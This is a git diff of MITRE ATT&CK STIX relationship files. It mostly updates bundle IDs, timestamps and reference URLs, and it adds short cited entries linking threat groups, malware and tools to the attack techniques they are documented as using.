diff --git a/enterprise-attack/relationship/relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70.json b/enterprise-attack/relationship/relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70.json
index ceefd8faa9..6ba35f7e42 100644
--- a/enterprise-attack/relationship/relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70.json
+++ b/enterprise-attack/relationship/relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bd5873f-f7d1-49d4-8b89-3bce2cb2391a",
+    "id": "bundle--8d7a4b3c-96a9-4385-8320-5140b93375da",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE is capable of enumerating and making modifications to an infected system's Registry.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4.json b/enterprise-attack/relationship/relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4.json
new file mode 100644
index 0000000000..134029502f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--06693d8e-60a9-4ed2-a1ce-d5eea254dce9",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "ISMInjector uses the <code>certutil</code> command to decode a payload file.",
+            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
+            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+            "external_references": [
+                {
+                    "source_name": "OilRig New Delivery Oct 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5682d524-80f0-4fd8-9960-6f54eeafce96.json b/enterprise-attack/relationship/relationship--5682d524-80f0-4fd8-9960-6f54eeafce96.json
index e8bfad6d2d..8879b66709 100644
--- a/enterprise-attack/relationship/relationship--5682d524-80f0-4fd8-9960-6f54eeafce96.json
+++ b/enterprise-attack/relationship/relationship--5682d524-80f0-4fd8-9960-6f54eeafce96.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ae1a0a0-b517-4b75-93bb-aa9b5ae0146e",
+    "id": "bundle--5a624396-e5eb-4fe8-a825-a204da689002",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5682d524-80f0-4fd8-9960-6f54eeafce96",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla may attempt to connect to systems within a victim's network using <code>net use</code> commands and a predefined list or collection of passwords.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--5697b245-d888-40ab-af72-9236c6daa273.json b/enterprise-attack/relationship/relationship--5697b245-d888-40ab-af72-9236c6daa273.json
index 8cee96e228..91cb4afb8f 100644
--- a/enterprise-attack/relationship/relationship--5697b245-d888-40ab-af72-9236c6daa273.json
+++ b/enterprise-attack/relationship/relationship--5697b245-d888-40ab-af72-9236c6daa273.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e02a420b-e236-44bd-9b3b-b104e108e5ea",
+    "id": "bundle--5e41eb55-8af7-4e80-ae6b-1ad8307f6cb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE uses HTTP as a transport to communicate with its command server.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1.json b/enterprise-attack/relationship/relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1.json
new file mode 100644
index 0000000000..060f59c4d1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--d4d1b996-b541-4190-b2cc-284775af192d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 obfuscates files or information to help evade defensive measures. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1.json b/enterprise-attack/relationship/relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1.json
index 59b8369cb3..3f3e43147d 100644
--- a/enterprise-attack/relationship/relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1.json
+++ b/enterprise-attack/relationship/relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3cf9cd88-7e5c-4315-b3c7-2171545b4660",
+    "id": "bundle--76d6f721-8f15-4abd-bfd6-4de3725e67e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.040Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim. They have also looked for the presence of iOS devices by looking for their backups .",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--56d858ef-2d62-4aa9-b050-699de9b048e9.json b/enterprise-attack/relationship/relationship--56d858ef-2d62-4aa9-b050-699de9b048e9.json
index 301996d1c0..f246ebb858 100644
--- a/enterprise-attack/relationship/relationship--56d858ef-2d62-4aa9-b050-699de9b048e9.json
+++ b/enterprise-attack/relationship/relationship--56d858ef-2d62-4aa9-b050-699de9b048e9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cc9f044b-6b96-4980-b339-8303af125adc",
+    "id": "bundle--aabcae30-504d-4179-9035-65413715c892",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MobileOrder has a command to download a file from the C2 server to the victim mobile device's SD card.",
             "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
diff --git a/enterprise-attack/relationship/relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6.json b/enterprise-attack/relationship/relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6.json
index a32cf59f0f..8cda32bd23 100644
--- a/enterprise-attack/relationship/relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6.json
+++ b/enterprise-attack/relationship/relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--53321e2e-2107-421b-9a5a-7a657cc2fbb3",
+    "id": "bundle--75cb8df7-ec21-46f4-a38f-796c87f76bac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lslsass can dump active logon session password hashes from the lsass process.",
             "source_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
diff --git a/enterprise-attack/relationship/relationship--56fac514-4461-4d8c-93a0-d12cade25169.json b/enterprise-attack/relationship/relationship--56fac514-4461-4d8c-93a0-d12cade25169.json
index aca96832c4..cceb4c7b4c 100644
--- a/enterprise-attack/relationship/relationship--56fac514-4461-4d8c-93a0-d12cade25169.json
+++ b/enterprise-attack/relationship/relationship--56fac514-4461-4d8c-93a0-d12cade25169.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1604a827-e006-4e28-8d78-2f5140cde2bd",
+    "id": "bundle--f7bf5d01-c132-48db-9921-239c64e66627",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--56fac514-4461-4d8c-93a0-d12cade25169",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "After collecting files and logs from the victim, Prikormka encrypts some collected data with Blowfish.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--570c8981-9a08-4c4f-8927-a22148bb880e.json b/enterprise-attack/relationship/relationship--570c8981-9a08-4c4f-8927-a22148bb880e.json
new file mode 100644
index 0000000000..b8427af859
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--570c8981-9a08-4c4f-8927-a22148bb880e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f3768d2b-1280-42df-bfd5-89d7dced18ea",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--570c8981-9a08-4c4f-8927-a22148bb880e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly created accounts that appeared to be tailored to each individual staging target.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
+            "external_references": [
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5718d7a3-c402-4816-92fb-4322094b84f8.json b/enterprise-attack/relationship/relationship--5718d7a3-c402-4816-92fb-4322094b84f8.json
index dc086e747b..7ed6b52bd3 100644
--- a/enterprise-attack/relationship/relationship--5718d7a3-c402-4816-92fb-4322094b84f8.json
+++ b/enterprise-attack/relationship/relationship--5718d7a3-c402-4816-92fb-4322094b84f8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3cfb0897-4b32-4420-a23b-56d7bf145fd3",
+    "id": "bundle--5a1a64b4-7e26-48c3-a1f8-e5fb15c16f00",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5718d7a3-c402-4816-92fb-4322094b84f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
             "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe",
diff --git a/enterprise-attack/relationship/relationship--573916d8-804d-4453-be37-e6b1865e87db.json b/enterprise-attack/relationship/relationship--573916d8-804d-4453-be37-e6b1865e87db.json
new file mode 100644
index 0000000000..5601e26d39
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--573916d8-804d-4453-be37-e6b1865e87db.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3aba837c-c66d-45a9-a7bc-74960a500d28",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka obfuscates API function names using a substitute cipher combined with Base64 encoding.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5744b31d-6633-44ca-8170-17489fec124c.json b/enterprise-attack/relationship/relationship--5744b31d-6633-44ca-8170-17489fec124c.json
new file mode 100644
index 0000000000..93d143b238
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--5744b31d-6633-44ca-8170-17489fec124c.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--7f183461-d90b-4dcd-8a8e-377f45ec8011",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--5744b31d-6633-44ca-8170-17489fec124c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c.json b/enterprise-attack/relationship/relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c.json
index 81385cd265..7f442f4828 100644
--- a/enterprise-attack/relationship/relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c.json
+++ b/enterprise-attack/relationship/relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--99d23ae5-59fa-4935-b96e-2d0cc93f598f",
+    "id": "bundle--dc169191-a0a7-4a03-bcbc-efea287508d6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--57a1f1a8-f1c0-4b7c-b5b4-f283a278833c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "pwdump can be used to dump credentials.",
             "source_ref": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
diff --git a/enterprise-attack/relationship/relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac.json b/enterprise-attack/relationship/relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac.json
index 4e4918d4c2..8138121f9d 100644
--- a/enterprise-attack/relationship/relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac.json
+++ b/enterprise-attack/relationship/relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16983875-2993-4097-a077-b40d12172dcb",
+    "id": "bundle--872d35bf-9f6d-41bb-a9bf-485c2b906909",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--57e1f6b0-7fbd-49b4-8f5d-876b759437ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can create a link to itself in the Startup folder to automatically start itself upon system restart.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1.json b/enterprise-attack/relationship/relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1.json
index a0eff7aef8..9c033cc358 100644
--- a/enterprise-attack/relationship/relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1.json
+++ b/enterprise-attack/relationship/relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64663b59-1330-4989-8c37-029ddd7d21fe",
+    "id": "bundle--7c9aa55f-208a-4283-b784-60a051130e09",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can create backdoor accounts with the login \"HelpAssistant\" with the Limbo module.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -17,12 +17,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--581f8dd6-edd4-467b-a3d5-3177870b0264.json b/enterprise-attack/relationship/relationship--581f8dd6-edd4-467b-a3d5-3177870b0264.json
index 9b85c34a89..0c20bfdd1f 100644
--- a/enterprise-attack/relationship/relationship--581f8dd6-edd4-467b-a3d5-3177870b0264.json
+++ b/enterprise-attack/relationship/relationship--581f8dd6-edd4-467b-a3d5-3177870b0264.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0e516b85-4de2-499b-be08-d06668befb0e",
+    "id": "bundle--e6fd9fbd-f6e5-41ae-9189-bf526205ce69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--581f8dd6-edd4-467b-a3d5-3177870b0264",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "netsh can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.",
             "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
diff --git a/enterprise-attack/relationship/relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4.json b/enterprise-attack/relationship/relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4.json
index edb3ba7178..718c0a87df 100644
--- a/enterprise-attack/relationship/relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4.json
+++ b/enterprise-attack/relationship/relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--852d7efa-7b36-48e2-ba2e-b70f7743ebf1",
+    "id": "bundle--546b2504-73e2-42f0-92e7-32c406ef32f0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.041Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Carbanak actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.",
             "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
diff --git a/enterprise-attack/relationship/relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796.json b/enterprise-attack/relationship/relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796.json
index 970f6d9da9..34f3638876 100644
--- a/enterprise-attack/relationship/relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796.json
+++ b/enterprise-attack/relationship/relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c35e1cdb-aadc-4bf7-8fe5-f46f4df32912",
+    "id": "bundle--c1059628-4a39-4ee3-80ed-df73861a197c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--58f6b7ce-c0d0-4a54-b60d-1c39d6204796",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo uses HTTPS for C2.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f.json b/enterprise-attack/relationship/relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f.json
new file mode 100644
index 0000000000..0c71276847
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2a6798de-bc9e-465c-a308-c453fffb47f4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--58fdc63b-05b4-4db9-90fe-c80f7956292f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER malware has used HTTP for C2.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--5909e6e9-c620-4278-9bdc-113f09e5799b.json b/enterprise-attack/relationship/relationship--5909e6e9-c620-4278-9bdc-113f09e5799b.json
index 978efc7b2e..cc2400bec8 100644
--- a/enterprise-attack/relationship/relationship--5909e6e9-c620-4278-9bdc-113f09e5799b.json
+++ b/enterprise-attack/relationship/relationship--5909e6e9-c620-4278-9bdc-113f09e5799b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--49f2a99b-ead6-4def-95f7-95fa35a9c732",
+    "id": "bundle--c577bebc-0a8c-4c9c-852e-76d1b7cb4f88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5909e6e9-c620-4278-9bdc-113f09e5799b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike uses a custom command and control protocol that is encapsulated in HTTP, HTTPS, or DNS.  In addition, it conducts peer-to-peer communication over Windows named pipes encapsulated in the SMB protocol.  All protocols use their standard assigned ports.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293.json b/enterprise-attack/relationship/relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293.json
index 03006cc4b1..3a1992dd0d 100644
--- a/enterprise-attack/relationship/relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293.json
+++ b/enterprise-attack/relationship/relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4e847c1a-0f2c-4b30-92b9-e35178f512be",
+    "id": "bundle--e82bc1ec-689c-4b6d-83c2-ceff5eaebeb4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--5918cee6-c2f1-41be-ab96-36f3d17e5293",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "certutil has been used to decode binaries hidden inside certificate files as Base64 information.",
             "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
